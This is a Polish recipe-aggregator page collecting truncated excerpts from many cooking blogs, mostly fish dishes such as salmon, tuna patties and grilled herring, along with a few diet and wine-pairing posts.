sosu Arrabiatta Barilla pomidorowo paprykowy 15 dkg sera żółtego warstwa łososiowa: 40 dkg filetu z łososia 125 g szpinaku 1 ząbek czosnku 1 cebula sól, pieprz przyprawa do ryb 200 g śmietany gęstej 18 % 2 jajka sól, pieprz 2 ząbki czosnku koper świeży olej wierzch: 1 kulka mozzarelli pomidorki koktajlowe rożne rodzaje Makaron gotuję aldente w osolonej wodzie, odcedzam(...)doprawiam solą, pieprzem według uznania. Formę o średnicy 23 cm smaruję, wykładam makaron pomidorowy. Filet z łososia kroję na małe kawałki, przekładam do miski, dodaję sól, pieprz, przyprawę do ryby i odstawiam na 30 minut do lodówki. Na patelni przesmażam pokrojoną cebulę i czosnek, dodaję szpinak i  szpinak przesmażam dosłownie minutę. Doprawiam solą, pieprzem. Do miski wbijam

wesoła kuchnia
MAKARON TRICOLORE Z ŁOSOSIEM, SZPINAKIEM PESTO Z RICCOTTĄ 129

szpinak świeży 1 opakowanie pesto z ricottą barilla pestki dyni sól  pieprz 1 łyżka masła Gotujemy makaron w osolonej wodzie ok. 11 minut.  W tym czasie przygotowujemy rybę. Na rozgrzaną patelnie wrzucamy masło, pokrojonego w dużą kostkę łososia i smażymy ok 3 minut. Odstawiamy rybę natomiast to co pozostało na patelni zostaje.  Nie zdejmujemy z kuchenki. Wrzucamy(...)umyty szpinak do momentu, aż listki zmiękną ale nie dłużej.  Na koniec zdejmujemy z ognia, dodajemy 3/4 słoiczka pesto oraz naszą rybę. Przyprawiamy solą i pieprzem. Do garnka z odcedzonym już makaronem dodajemy rybę ze szpinakiem. Układamy makaron na talerzu i posypujemy pestkami dyni. Smacznego

KuchcikoweLove
Tarta z łososiem, kozim serem i papryką 126

pszennej 150g masła 1 jajko 1/2 łyżeczki soli 300g świeżego łososia 1/2 czerwonej papryki 100g serka koziego 1 jajko 150g śmietany 22% 1 łyżeczka tymianku 1/2 łyżeczki przyprawy do ryb 1/2 łyżeczki gałki muszkatołowej 100g tartego sera żółtego sól, pieprz Wykonanie: Ciasto: składniki zagnieść na kruche ciasto, uformować kulę, zawinąć w folię spożywczą i schłodzić w lodówce przez 1h.Form(...)wysmarować masłem,schłodzonym ciastem wyłożyć dno i boki formy. Spód podziurkować widelcem, podpiec w 180C przez 8-10minut. Farsz: łososia kroimy w paski, oprószamy solą i przyprawą do ryb. Ser kozi kroimy w kostkę, a paprykę w paseczki. Wszystkie składniki układamy na podpieczonym spodzie tarty. Jajko mieszamy ze śmietaną i startym serem. Doprawiamy solą, pieprzem, gałką i tymiankiem.Mas

Raj dla Podniebienia
Zapiekane ziemniaki pod prostym czosnkowym beszamelem 200

puree czyli tzw. tłuczone. Takie zapiekane ziemniaki podawać jako bezmięsną przekąskę np. do zapiekanych warzyw lub jako dodatek do mięsnego dania głównego. Nadają się do wszystkich mięs i ryb. SKŁADNIKI na zapiekankę dla 2 osób: 4-5 dużych ziemniaków z gatunku niemączystych (jeśli są to młode ziemniaczki pozostawić po dokładnym umyciu w skórkach) 4 łyżki masła 4-6 łyżek(...)folię aluminiową by górna warstwa nabrała złoto-brązowej warstwy zapieczenia. Podawać na gorąco jako przekąskę bezmięsną lub jako dodatek do mięsnego dania głównego. Nadaje się do wszystkich mięs i ryb

Sztuka gotowania w/g Samiry
Śledzie z grilla. Pikantne i chrupiące. 189

Pierwszy raz grillowałam śledzie i teraz już wiem, że nie ostatni. To taka odmiana od tradycyjnych grillowanych ryb, mięs czy warzyw. Zgrillowane na chrupko, podane np. z grzankami doskonale pasują do piwa. Stanowią doskonałą przekąskę lub przystawkę przed właściwym grillowanym daniem głównym. Sprawdzą się tez fajnie na lekką kolację. Polecam :) Składniki - 0,5 kg surowych, wypatroszonych śledzi - łyżeczka czosnku(...)wodą. Następnie dokładnie osuszam przy pomocy papierowych ręczniczków. Przekładam do większej miski. Dodaję sól, czosnek, paprykę, olej i sok z cytryny. Dokładnie mieszam ( ja robię to rękami ) aby każda ryba była obtoczona w marynacie. Odstawiam na minimum godzinkę do lodówki. Po  tym czasie śledzie umieszczam w siatce do grilla i grilluję na mocno rozgrzanym ruszcie z dwóch stron

Kuchnia z widokiem na ogród
Fritatta z patelni, z szynką, fetą i szpinakiem. Moja opinia nt. patelni kamiennej Delimano Stone Legend. 178

kuchni oznacza ułatwienie życia. I wiecie? To jest prawda.  W ostatnim czasie sprawdzałam przydatność patelni kamiennej Stone Legend Delimano pod każdym kątem. Smażyłam placki, jajecznice, mięsa, kotlety z ryb, dania jednogarnkowe itp. Zaskakujące dla mnie jest to, że naprawdę - NAPRAWDĘ!!! - nie potrzeba tłuszczu. Producent twierdzi, że wystarczy kropla oleju. Moim zdaniem nie potrzeba nawet kropli(...)przykładzie dania. A więc mamy frittatę.  A dlaczego frittata? Bo... Sami przeczytajcie... Producent zapewnia, że powłoka jest nieprzywierająca i szczególnie nadaje się do smażenia potraw mocno przywierających (jaja, ryby), dlatego chyba najlepiej przekonać się o jej właściwościach na daniu z jajkami w roli głównej. Patelnia teflonowa, a już z pewnością żeliwna zawsze odrobinę się brudzi przy smażeniu, zawsze

Poezja Smaków - blog kulinarny
Halibut duszony w warzywach 151

posiekałem, zeszkliłem na maśle, dodałem marchewkę pokrojoną w krążki, seler pokrojony na kawałki oraz oczyszczony pokrojony skośnie por. Tak pokrojone warzywa zalałem winem, dusiłem ok. 10 minut. Następnie dodałem rybę i na bardzo małym ogniu dusiłem 12 minut pod przykryciem. Wyjąłem rybę, umieściłem na półmisku, trzymałem w cieple. Śmietanę połączyłem z warzywami, doprawiłem solą, pieprzem, cukrem oraz sokiem z cytryny(...)przygotowanym sosem zalałem rybę. Podałem z młodymi ziemniakami z koperkiem

R'n'G Kitchen
PĘCZAK Z WARZYWAMI 191

Wszelakie kasze kochałam zawsze 💗 Nigdy nie używałam jednak w kuchni pęczaku. Kojarzył mi się tylko i wyłącznie ... z przynętą na ryby 😉 No i okazuje się, że ryby wiedzą co dobre! Bo pęczak jest pyszny! Bardzo odpowiada mi jego delikatnie orzechowy smak. Odkąd poznałam jego smak ... sypię go, gdzie tylko się da 😊 Zamieniam np. ziemniaki w zupie na pęczak

Walijskie Pichcenie
Łosoś w cieście francuskim ze szpinakiem 268

maku Przygotowanie: Z łososia zdjąć skórę, wypłukać i osuszyć. Szpinak rozmrozić, a ser mozzarella pokroić w kostkę. Na ciasto francuskie wyłożyć plaster łososia, rybę delikatnie posolić. Na łososia wyłożyć kawałki sera, a na ser szpinak. Szpinak przyprawić gałką muszkatołową i pieprzem. Ciasto po bokach naciąć i naprzemiennie zawinąć rybę, tworząc(...)stopniach. Po upieczeniu pokroić w plastry i podawać z sosem czosnkowym. Krok po kroku: 1. Odciąć skórę z łososia 2. Przełożyć rybę na ciasto francuskie 3. Wyłożyć ser i szpinak 4. Wyciąć paski z ciasta i zapleść warkocz 5. Posypać sezamem i upiec Pobierz wersję do druku: Pobierz

KuchniaWeDwoje.pl
Steki z tuńczyka po prowansalsku / Tuna provencale 242

Jakoś mało na moim blogu ryb, chociaż bardzo je lubię więc muszę nadrobić te zaległości. Przedstawiam dziś rewelacyjny i bardzo szybki przepis na steki z tuńczyka po prowansalsku, czyli pieczone na pysznym gulaszu z papryką, cukinią, oliwkami i pomidorami, z dodatkiem aromatycznego tymianku i rozmarynu. Danie to robi się dosłownie w 30 minut, a jest bardzo zdrowe i bardzo

karmelowy
Placuszki z tuńczyka 172

wodzie lub w sosie własnym 2 duże jajka 6 – 7 łyżek bułki tartej 3 łyżki posiekanej pietruszki szczypta soli szczypta pieprzu 1 łyżka oleju kokosowego lub rzepakowego Przygotowanie: Rybę odsączyć z wody/sosu i przełożyć do miski. Dodać roztrzepane jajka i natkę pietruszki. Całość wymieszać za pomocą łyżki lub ręką, dosypując bułkę tartą (masa(...)doprawić do smaku. Uformować niewielkie placuszki i usmażyć na oleju z obu stron. Krok po kroku: 1. Odsączyć tuńczyka 2. Do ryby dodać pozostałe składniki 3. Wymieszać całość z bułką tartą 4. Uformować małe kotleciki 5. Usmażyć z obu stron na oleju Pobierz wersję do druku: Pobierz Placuszki

KuchniaWeDwoje.pl
Dieta pudełkowa – wady i zalety. KONKURS – wygraj dietę pudełkową! 240

Ciebie dopasowana. Powinna brać pod uwagę Twoją wagę, wzrost, wiek oraz aktywność fizyczną. Możesz przebierać spośród różnych ofert – diety standardowej, bez ryb, bez glutenu, wege, bez ryb czy też dla sportowców. Przy zamówieniu diety ustalasz jej rodzaj, kaloryczność, ilość posiłków (zwykle 3 lub 5), czas trwania oraz czas dostawy. Plusy diety pudełkowej: – Ogromna oszczędność czasu

Moja pasja smaku
Sos tatarski 187

tatarski, najlepszy do jajek, mięs, ryb(...)kanapki. Niezbędny na świątecznym stole, zarówno podczas Wielkanocy, kiedy podajemy go głównie do jajek, jak i w Święta Bożego Narodzenia, gdy smakuje najlepiej u boku wszelkiego rodzaju ryb i sałatek. Mi sos tatarski bardzo smakuje podczas letnich posiedzeń przy grillu, jako dodatek do kiełbasy, lub szaszłyka z grilla. Składniki na sos: szklanka majonezu pół szklanki śmietany 18% pół szklanki

NiePieprz.pl
Łosoś pod pierzynką z sera korycińskiego z czarnuszką, suszonych pomidorów i koperku 132

wyszło bardzo smacznie. Nadrobiłam moje zaległości jeżeli chodzi o ryby. Lubię, wszyscy lubimy, a można z nich wyczarować pyszne danie :-). Łosoś niestety jest teraz bardzo drogą rybą i kupuję go od czasu do czasu, bo moje dziecko za nim przepada. Resztę zje, ale musi przy tym trochę po marudzić :-). Jako dodatek kasza quinoa, mix sałat i czerwona papryka :-). Miłego

kruche babeczki
USMIECH LATA I BURRITO (SLODKO-KWASNY LOSOS Z GRILLA W SOSIE Z PRAZONYM MAKIEM w tortilli)) 118

włoskich 1 łyżeczka suszonego tymianku cukier, sól  sos sałatkowy :  5 łyżek oliwy, 3 łyżki soku pomarańczowego, cukier, sól , pieprz PRZYGOTOWANIE:  Przed przyjęciem: Krok 1. Marynujemy łososia : rybę płuczemy, osuszamy, układamy w płaskim (nie plastikowym) naczyniu. Mieszamy w miseczce olej, sos sojowy, drobno posiekany imbir, miód, dymkę pokrojoną w paseczki, skórkę startą z limonki, sok z limonki oraz(...)przyprawy - polewamy filety, tak aby marynata dokładnie pokryła rybę, przykrywamy, odstawiamy w chłodne miejsce na min. 10 minut. Krok 2. Przygotowujemy sałatkę "UŚMIECH LATA" : twaróg kroimy w drobną kostkę, oprószamy solą oraz tymiankiem. Liście sałaty oczyszczamy, płuczemy, osączamy i rwiemy na małe kawałki. Owoce płuczemy, osączamy. Wszystkie składniki na sos sałatkowy łączymy i dokładnie mieszamy, schładzamy. W misce łączymy część

Moja Książka Kucharska
RYBA Z GRILLA 130

RYBA Z GRILLA - ŁOSOŚ Łosoś przygotowany na grillu  w maśle pieprzowym* z pieczarkami oraz dymką. Przepis na masło pieprzowe znajdziecie u dołu strony. Mam nadzieję, że przepis spodoba się Wam :) Polecam! Czas przygotowania : około 45 minut Liczba porcji : 4 SKŁADNIKI : 4 niewielkie dzwonka z łososia sok z 1 cytryny sól do smaku 1 pęczek cebuli dymki 160g pieczarek(...)cytryny, oprószamy solą - odstawiamy na około 10 minut. Krok 2. Grzyby oraz dymkę myjemy, osuszamy - kroimy w plasterki. Krok 3. Dzwonka łososia układamy na skropionej oliwą folii aluminiowej. Rybę smarujemy masłem pieprzowym, obkładamy pieczarkami oraz dymką, obsypujemy posiekaną natką pietruszki. Końce folii zbieramy razem i szczelnie zawijamy.  Uwaga! Każde dzwonko łososia przygotowujemy oddzielnie. Krok 4. Rybę pieczemy na grillu

Moja Książka Kucharska
LOSOS W PANIERCE SEZAMOWEJ 110

ŁOSOŚ W PANIERCE SEZAMOWEJ   Delikatna i smaczna ryba, wspaniale usmażona i przyprawiona. Chrupiąca panierka na wierzchu, w środku soczyste mięso.  Łosoś w takim wydaniu świetnie sprawdzi się jako przystawka, podany np. na podsmażonej marchewce w sosie sojowym lub jako danie główne z sosem koperkowym i ziemniakami z wody. Polecam przepis! SKŁADNIKI: na 2 porcje 2 porcje filetu(...)oprószamy pieprzem i ewentualnie solą morską, smażymy przez 4 minuty. Krok 3. Następnie obracamy łososia na drugą stronę, wyłączmy ogień pod patelnią i czekamy około 2 minuty - druga strona ryby dojdzie od ciepła samej patelni. Tak przygotowanego łososia wykładamy na ciepłe talerze, pod spodem każdej porcji powinna znaleźć się podsmażona cebulka. Dekorujemy zieleniną oraz kawałkami limonki. Smacznego

Moja Książka Kucharska
SOS KOPERKOWY 87

KOPERKOWY Kremowy i delikatny, niesamowicie łatwy w przygotowaniu. Sos ten doskonale nadaje się do jajek na twardo, ziemniaków oraz ryb np. łososia w sezamowej panierce . Serwując go do ryb, można dodać do niego sok z cytryny. Polecam przepis! SKŁADNIKI: 250g mleka 35g masła, pokrojonego na kawałki kopiasta łyżka mąki pszennej około 1/2 pęczka koperku (bez łodyżek) sól

Moja Książka Kucharska
Babka cynamonowa 124

możemy doprawiać różne potrawy: mięsa, warzywa, ryby, ciasta, desery, koktajle, grzane wino lub piwo. Można go wykorzystywać w marynatach, dodawać do kawy. Użycie małej ilości cynamonu do przyprawienia ryb sprawia, iż znika ich nieprzyjemny zapach. U Nas dzisiaj ucierana babka cynamonowa, oblana gorzką czekoladą i obsypana orzechami. W sam raz do popołudniowej kawy. Polecam!       Babka

Smak mojej kuchni
Burgery rybne 169

jednocześnie pikantna salsa oraz pasta z awokado. Tak właśnie powstają moje ulubione burgery rybne. A jaki jest Wasz sposób? Składniki na 6 dużych burgerów: 600g mielonego mięsa z białej ryby (u mnie dorsz) 1 opakowanie serka kremowego Apetina “Pesto i Rukola” 1 łyżeczka skórki otartej z limonki 2 łyżki posiekanych ziół: natka pietruszki, kolendra, mięta(...)dowolnych proporcjach) sól 5 łyżek bułki tartej rozmieszane z 6 łyżkami wody 1 jajo dodatkowo bułka tarta to panierowania oliwa do smażenia kilka garści rukoli 6 bułek Zmieloną rybę przełożyć do miski. Połączyć z serkiem Apetina. Dodać skórkę z limonki, zioła i sól, wymieszać. Następnie dodać bułkę tartą rozmieszaną z wodą i wbić jajko. Całość wyrobić na w miarę jednolitą

Pełny talerz
Fish cake- angielskie kotleciki rybne 166

Kiedy wyemigrowałam do UK nasłuchałam się jaka niedobra jest kuchnia brytyjska. Tłusta, z mała ilością warzyw, gdzie królują ziemniaki i ryba.... Zmieniłam zdanie kiedy to spróbowałam dobrze zrobionej , pysznie ugotowanej angielskiej kuchni. Tak samo jest z rodzimą kuchnia... Kupując pierogi z marketu nie ma czym się zachwycać(...)wszystko sami, od gravy (przepyszny sos) po gotowana szynkę. Zasmakowałam tam najlepszych fish cake na wyspach. Zrobić je można z każdego rodzaju ryby ...im szlachetniejsza ryba tym smak bogatszy. Kotleciki można smażyć na głębokim tłuszczu, na patelni jak tradycyjne kotlety, i można tez upiec

Piekarz-Kucharz-Garkotłuk
Fish and chips 125

bólu angielskie. Od ponad 150 lat jest serwowane na Wyspach Brytyjskich.  Czy jest coś bardziej Brytyjskiego? Kiedyś jadało się zawinięte w gazetę - frytki z vinegar'em i rybę.   Dziś jest serwowane w małych ulicznych budkach, jak i w dobrych restauracjach.  Proponuje wam fish and chips, w moim domowym wydaniu.  Przepis na panierkę podpatrzyłam u mojego(...)zmiksować. Nie dodawajcie od razu całej szklanki piwa. Najpierw dodajcie 3/4 i sprawdźcie gęstość ciasta. Ma być konsystencji gęstego jogurtu. Na rozgrzany, głęboki olej wkładajcie, zanurzone w cieście kawałki ryby i smażcie na złoty kolor. Odsączcie na ręczniku kuchennym. Podawać na ciepło z domowymi frytkami. Domowe frytki pieczone w piekarniku. Obierz odpowiednią dla was ilość ziemniaków i pokrój

Piekarz-Kucharz-Garkotłuk
Jak dobrać wino do kolacji? 182

bardzo różnić się od siebie i pasować do różnych potraw. Zbiór generalnych zasad Planujesz podać lekką sałatkę, na przykład z dodatkiem delikatnie doprawionego indyka albo kurczaka? Do drobiu, pieczonej ryby z warzywami, owoców morza i innych lekkich posiłków będzie pasować wytrawne, lekkie, białe wino. Z kolei wino czerwone wytrawne będzie dobrze współgrało z potrawami mięsnymi, cięższymi.   Istnieje jednak(...)bukietem złożonym z ciemnych owoców (jeżyna, śliwka, jagoda) i nierzadko słodkimi kwiatowymi nutami czy też akcentami: cydru, oliwek, tytoniu. Jako jedno z nielicznych czerwonych win może dobrze współgrać z rybami, na przykład z łososiem. Będzie też dobrze smakować z białym mięsem. Przykłady win: GIOL Wino Merlot Bio, włoski Merlot bez dodatku siarczynów, kupisz we Frisco. Opinie specjalistów

Tradycyjna Kuchnia
Kotlety rybne 122

Kotleciki rybne to miła odmiana dla tradycyjnie podanej, usmażonej lub upieczonej ryby. Wybrałam mintaja, ale można zrobić je z każdej wyfiletowanej ryby.  500g mrożonych filetów z mintaja 1 małe jajko 3 łyżki bułki tartej 1 pęczek koperku 2 łyżki skórki otartej z cytryny sól, pieprz olej + mąka i bułka tarta do panierki 1. Filety drobno siekamy

Szefowa kuchni
Pikantne brokuły do obiadu 213

Świetnie pasują do kasz, ryżu, ziemniaków, mięs i ryb. Pikantne i bardzo aromatyczne - pięknie pachną i smakują(...)podaję dokładnie składników - w zasadzie w zależności ile chcecie, ile potrzebujecie dowolnie modyfikujcie ilości poszczególnych składników. Podobnie możecie postąpić z kalafiorem. Będzie pasował do pieczonej, smażonej lub grillowanej ryby i ziemniaków. Smacznego już dziś:) Składniki: kilka różyczek brokułów (użyłam mrożonych) 1 mniejsza cebula 3 ząbki czosnku kilka talarków chili caynenne (kilka pestek także, stopień ostrości do woli) pieprz

Zasmakuj Kuchni
Skwierczący sos – do mięs i do warzyw 191

gotowaniu. Zaintrygowani? Sprawdźcie ten sos do kurczaka, indyka, kaczki, wołowiny i do wieprzowiny, do warzyw gotowanych, tych na parze i pieczonych, do zielonych sałatek, grzanek, smażonych i pieczonych ryb i do gotowanych jaj. Gotowanie. Infuzja. Dwa proste kulinarne pojęcia, oba – jeśli jesteście stałymi czytelnikami bloga – na pewno już znacie. Ten sos to naprawdę tylko 5 składników – świeży jędrny szczypior(...)posmakiem sparzonego szczypioru – sos pasuje wyśmienicie nie tylko do prawie wszystkich mięs (poza cielęciną i dziczyzną, oba te mięsa mają swój specyficzny smak który może przy tym sosie zginąć), ryb (idealny do karpia!) ale i do warzyw. Szczypior drobno siekamy. Czosnek i imbir obieramy, przeciskamy przez praskę – dzięki temu pozbędziemy się włókien imbiru, zostanie nam sam miąższ

Karo in the Kitchen
Musztardowo-pomarańczowy łosoś z pieczonymi ziemniakami 93

byłam w kulinarnym niebie :) Rybę zamarynowałam w musztardzie, ale nie byle jakiej bo robionej samodzielnie. To naprawdę nic trudnego, musicie jedynie pamiętać aby przygotować ją dzień wcześniej. Jej smak jest mocny i intensywny, a ja właśnie takie wyraziste musztardy lubię najbardziej. Podaję przepis na większą ilość bo gwarantuję, że będziecie ją zużywać nie tylko do ryby :) Domowa musztarda (porcja

Mienta blog
Trzydniowa dieta sokowa – detox nie tylko na wiosnę 1912

warzywnych. Cross poił się sokami przez 60 dni. Schudł, odzyskał zdrowie, zaczął myśleć nad tym jak jeść i gotować zdrowo, wykorzystując w swojej nowej diecie mnóstwo owoców, warzyw, ryby, owoce morza, kasze i ziarna. Soki pije nadal.   Dieta Crossa skrócona do 3 dni daje mocnego witaminowego kopa i reset szczególnie dla nerek i wątroby . To spora ilość płynów(...)szklanki ciepłej wody z imbirem i cytryną, zwiększamy ilość warzyw i owoców w posiłkach, odstawiamy węglowodany. Jeśli jecie mięso – zamieniamy steki, schabowego i kotlety na mięso drobiowe lub mięso ryb – łatwo przyswajalne, niskotłuszczowe, bogate w białko. Pozwoli to układowi trawiennemu na krótki wstęp do tego, co go za chwilę czeka i pozwoli na szybsze oczyszczanie. PO 3 DNIACH DIETY

Karo in the Kitchen
Łosoś w papilotach, podawany na plastrach cytryny, pod kołderka z duszonych porów i świeżych ziół. 84

nich łososia (ryby nie solimy-to bardzo ważne). Następnie przesmażony por-doprawiony solą i pieprzem. Na to kładziemy zioła i kosteczki fety. Całość zawijamy w folię-zostawiając rybie nieco miejsca. Pieczemy 12 minut. Podajemy z kaparami lub pomidorami, lub sałatką

Kopystką po garach
Dieta samuraja oraz przykładowy jadłospis. 234

dziennie, pijemy tylko wodę, zieloną herbatę lub czarną kawę. Dodajemy do naszej diety ryż: basmanti, jaśminiowy, sushi, itp. i inne bezglutenowe pseudozboża np. kasze (gryczana, jaglana), komosę ryżową. Jemy : ryby, drób, chude mięso i jajka, owoce morza. Bez ograniczeń: brokuł, sałatę, kalafior, itp. Nie liczymy kalorii z warzyw, które nie zawierają skrobi. Ograniczamy spożycie alkoholu. Nate radzi spożywać cheat(...)szpinak lub inne warzywa kawa lub herbata Przekąska: 1 banan Obiad: 100-250 gram chudego mięsa warzywa 1-2 garście orzechów Kolacja: 100-250 gram chudego mięsa lub ryby sałatka z brokuła szklanka ugotowanego ryżu Jeszcze raz chciałbym podkreślić, że nie jestem dietetykiem ani trenerem. Powyższy wpis miał na celu pokazania Wam jednej z dróg, którą można się kierować

PaleoLife
Łosoś w porach 134

Ryba w papilotach gości u mnie bardzo często. Zazwyczaj na kołderce z cebuli i marchewki. W magazynie Good Food (02/17) znalazłam ciekawy i prosty pomysł na przygotowanie jej na porach. Łosoś w porach pasuje praktycznie do wszystkiego – gotowanych ziemniaków, frytek, ryżu czy czarnej soczewicy. A smakuje wyśmienicie – jest delikatny i soczysty. Mięciutkie pory doskonale się z nim komponują(...)kawałki papieru do pieczenia. Na każdym rozkładamy na środku pory. Na porach układamy łososia. Posypujemy go wcześniej startą skórką, a na wierzchu posypujemy posiekanym koperkiem i kaparami, które nadadzą rybie wyrazistego smaku. Zwijamy krawędzie papieru tak, aby stworzyć szczelną paczuszkę. Paczuszki z papieru przekładamy na blachę i wstawiamy do piekarnika na ok. 15 minut. Po tym czasie przekładamy na talerz

Poezja smaku
Zupa rybno-ogórkowa z ziemniakami 150

zapraszam na kolejną zupkę, zanudzę Was tymi zupkami..ale jakoś nie mam kiedy opisać innych przepisów.Nigdy wcześniej nie gotowałam takiej zupki, a pomysł na dodanie ryby do zupki ogórkowej podpatrzyłam  tutaj. Jakość zdjęcia trochę marna, jakoś nie udało się lepiej zrobić, ale przynajmniej widać co nieco i wiadomo o co chodzi.Jak będę znów robić tą zupkę(...)domowa vegeta Pokrojoną marchewkę, pietruszkę, cebulę oraz ziemniaki przełożyć do garnka. Wlać wodę , dodać przyprawy i gotować prawie do miękkości ziemniaków.Ogórki zetrzeć na tarce o dużych oczkach, rybę pokroić na mniejsze kawałki. Ogórki, rybę dodać do gotującej się zupy.Gotować aż ziemniaki będą miękkie. Na końcu wlać   zalewę z ogórków ,  śmietanę i w razie potrzeby doprawić

Moje domowe kucharzenie
Rybne mulligatanni curry – przepyszne, idealnie doprawione curry rybne. 124

Curry możemy przygotować z różnymi dodatkami. Możemy użyć kurczaka, warzyw, jagnięciny, krewetek lub ryby. Cały sekret polega na odpowiednim doprawieniu i dość długim gotowaniu. Curry ma różne stopnie ostrości i to zależy od nas jak bardzo chcemy je mieć ostre. Ja zazwyczaj wybieram to najostrzejsze:-) Warto mieć jednak pod ręką szklankę mleka do popicia. Ilość składników na mulligatanni curry(...)koncentrat pomidorowy, wiórki kokosowe oraz garść siekanej pietruszki. Gotuj na wolnym ogniu co jakiś czas mieszając przez około godzinę. Następnie zalej mleczkiem kokosowym i wrzuć pokrojoną w duże kawałki rybę. Zostaw na wolnym ogniu na 10 minut a następnie odstaw. Curry mulligatanni powinno być gotowe za około 20 minut. Podawaj z ryżem oraz chlebkiem naan

wysmienity
Pęczotto z dynią i jarmużem 121

zamrażalce. Musiałam się jednak pocieszyć dynią piżomową. Z chęcią wypróbuję pęczotto z dynią hokkaido . Pęczotto podobnie jak risotto jest kremowe i delikatne w smaku. Idealne do pieczonego mięsa czy ryby . Co to jest pęczak? Pęczak to nic innego jak kasza jęczmienna. Świetnie pasuje do mięsnych gulaszy. Można z niej przyrządzić burgery i przeróżne sałatki. Znajdziecie tu ciekawe i innowacyjne(...)kremowej konsystencji, a pęczak miękki ale w całości. Pod koniec gotowania dodaj puree z dyni, parmezan i grubo pokrojony jarmuż. Dopraw solą i pieprzem. Podaj gorące do mięsa lub ryby lub jako danie jarskie.   The post Pęczotto z dynią i jarmużem appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Placek gryczany z kapustą i pstrągiem 122

niektórzy wiedzą, lubię, gdy obiad robi się sam. Jak robi się smaczny i zdrowy, to lubię jeszcze bardziej. Zupełnym przypadkiem poczyniłam placek z mąki gryczanej z kapustą kiszoną i rybą. Ja użyłam pstrąga, ale każda inna ryba będzie równie dobrze smakowała w towarzystwie kapusty. ok. szklanka mąki gryczanej 1 jajko 2-4 łyżki oleju 1 łyżeczka proszku do pieczenia(...)uzyskać elastyczne ciasto o dość zwartej konsystencji. Ciasto wykładamy na dnie formy – ok. 20×20. Z kapusty odciskamy nadmiar płynu. Połowę wykładamy na ciasto. Na kapustę wykładamy rybę pokrojoną w kostkę. Przykrywamy pozostałą częścią kapusty. Pieczemy 35 minut w 180 st. C. Pod koniec pieczenia wylewamy na wierzch jeszcze ok. łyżkę oleju. Można posypać parmezanem. Koniecznie natką pietruszki

Kucharzyca
Mintaj z brokułami 564

ilość wg uznania. Przygotuj taki kawałek foli, żeby zawinąć w nią filet. Folię posmaruj olejem, oprósz przyprawami i połóż rybkę, to samo zrób z drugiej strony fileta  (posmaruj rybę olejem i posyp mieszanką przypraw) - zawiń w folię. Ziemniaka dobrze umyj i przekrój na połówki. Do garnka wlej wodę i wrzuć ziemniaki - gotuj 10 min od momentu zagotowania wody, następnie(...)opcja grill W tym czasie obierz i pokrój czosnek w cienkie plasterki. Małe naczynie żaroodporne wysmaruj olejem a następnie włóż ziemniaki - posyp czosnkiem i tymiankiem. Do nagrzanego piekarnika włóż rybę w folii a po 15 min. wstaw naczynie z ziemniakami - całość zapiekaj jeszcze 30 minut. 10 min przed końcem zagotuj w garnku wodę z cukrem - wrzuć podzielone i umyte różyczki

Alutka-Gotuje
Groszek z marchewką i dynią 193

proponuję groszek z dodatkiem dyni i marchwi. Celowo dałam więcej groszku, by ten dodatek do obiadu nie był za słodki. Polecam do pieczonych, duszonych czy smażonych mięs lub ryby. Składniki: 1 opakowanie mrożonego groszku po pół opakowania mrożonej marchewki i dyni 1 łyżka mąki przyprawa warzywna bez glutaminianu sodu - ok. 1 płaskiej łyżeczki ok. 1 łyżki kopiatej mąki(...)rozpuścić w wywarze. Mieszać cały czas łyżką, wsypując powoli mąkę przez małe sitko, bezpośrednio na warzywa. Gotować jeszcze minutę i zdjąć z ognia. Podawać do dań z mięsa lub ryby

Czerwień i błękit
Ryba w cieście sezamowym 96

łyżek nasion sezamu, sól. Przygotowanie: rybę pokroic na mniejsze kawałki oraz sprawdzić czy nie ma ości. Zrobić ciasto - mąkę ziemniaczaną wymieszać z mąką pszenną wbić jajo i wlać 2/3 szklanki wody. Dodać ocet lub wódkę, olej sezamowy i ziarna sezamu, lekko osolić. Ciasto dokładnie wymieszać ( powinno być konsystencji gęstej śmietany). Do ciasta wkładać kawałki ryby, a następnie smażyć(...)dobrze rozgrzanym oleju. Usmażoną rybę przełożyć na papier, żeby tłuszcz wsiąkł. Po obcieknięciu tluszczu ukladamy na talerze. Ja podawałam z ryżem i kapustą kwaszoną

Państwo Wojtczuk gotują
Łosoś teriyaki z pak choi 126

Wege piątek Dziś polecam Wam szybkie i lekkie danie - idealne na piątkowy obiad - łososia teriyaki . Łosoś to jedna z moich ulubionych ryb, można przyrządzić ją na mnóstwo sposobów, a jej największą zaletą jest to, że jest stosunkowo łatwa w przygotowaniu. Łosoś świetnie łączy się z azjatyckimi smakami, a w tym z sosem teriyaki, który możecie kupić lub przygotować samodzielnie(...)ryżowy, olej sezamowy, czosnek i imbir. Wszystko dokładnie wymieszać.  Łososia umieścić w marynacie i odstawić na około 15 minut. Od czasu do czasu polewać łososia marynatą lub obracać rybę. Na patelni rozgrzać oliwę, smażyć na niej łososia po kilka minut (4-5) z każdej strony (zależy od grubości filetów). W czasie smażenia można podlewać rybę pozostałym sosem terijaki

Codzienne Gotowanie
Warsztaty sushi w warszawskiej Ten Sushi 134

Nigiri sushi:  niewielka porcja ryżu uformowana w dłoniach z kawałkiem ryby na wierzchu, u nas był to łosoś Tamago nigiri:  rodzaj nigiri, tylko zamiast warzyw czy ryby kładzie się na wierzchu  japoński omlet tamago, a wszystko oplata się paseczkiem nori. Muszę przyznać, że zabawa była przednia, a do tego nasz sushi master raczył nas różnymi

Kulinarne przygody Gatity
PASTA CHRZANOWA Z POREM 173

typowej kanpki z wędliną czy z serem żółtym. Pasty można tworzyć tak naprawdę ze wszytskiego z warzyw, grochu, mięsa czy ryb. Dziś zupełnie odmienna pasta bez mięsa bez ryb :) Pyszna pasta chrzanowa idealna do świeżego pieczywa.Zapraszam i Smacznego :) SKŁADNIKI: 4 jajka na twardo 3 ogórki konserwowe 1 por tylko biała cześć 1 /2 natki pietruszki 3 łyżki tartego

Gotowanie Patki
RYBA (miruna) ZAPIEKANA NA KASZY JAGLANEJ POD SEROWO-SZPINAKOWĄ KOŁDERKĄ 157

